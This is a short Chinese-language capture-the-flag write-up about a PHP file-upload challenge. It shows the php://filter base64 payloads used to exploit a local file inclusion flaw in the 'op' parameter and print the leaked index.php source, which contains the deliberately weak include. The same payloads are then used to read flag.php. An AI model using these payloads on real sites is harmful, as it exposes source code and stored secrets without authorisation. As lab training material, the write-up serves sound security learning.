打开网站,是一个上传文件的网页,那我们先按照要求上传png文件试试,上传图片说打不开图片,陷入迷茫。
那应该不是靠一句话菜刀,因为根本加载不出来,我觉得不可能没有php代码,于是在op后面构造
op=index.php 提示我们不存在这样的页面 但事实是存在的
op=index 没有出现提示 但页面是空的
op=php://filter/read=convert.base64-encode/resource=index
结果得到
<?php
error_reporting(0);
define('FROM_INDEX', 1);
$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op))
die('Try it again and I will kill you! I freaking hate hackers!');
ob_start('ob_gzhandler');
function page_top($op) {
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title>
</head>
<body>
<div id="header">
<center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
</div>
<div id="body">
<?php
}
function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}
function page_bottom() {
?>
</div>
<center>
<div id="footer">
<div>
<p>
<span>2017 © </span> All rights reserved.
</p>
</div>
</div>
</center>
</body>
</html><?php
ob_end_flush();
}
register_shutdown_function('page_bottom');
page_top($op);
if(!(include $op . '.php'))
fatal('no such page');
?>
通过这个分析,大概懂了为什么文件加.php提醒没有此页面的原因。
通过御剑后台扫描扫描出后台的信息,有flag.php页面,则
op=php://filter/read=convert.base64-encode/resource=flag
则获得flag的base64加密后的数据,进行解密,获得flag。
网友评论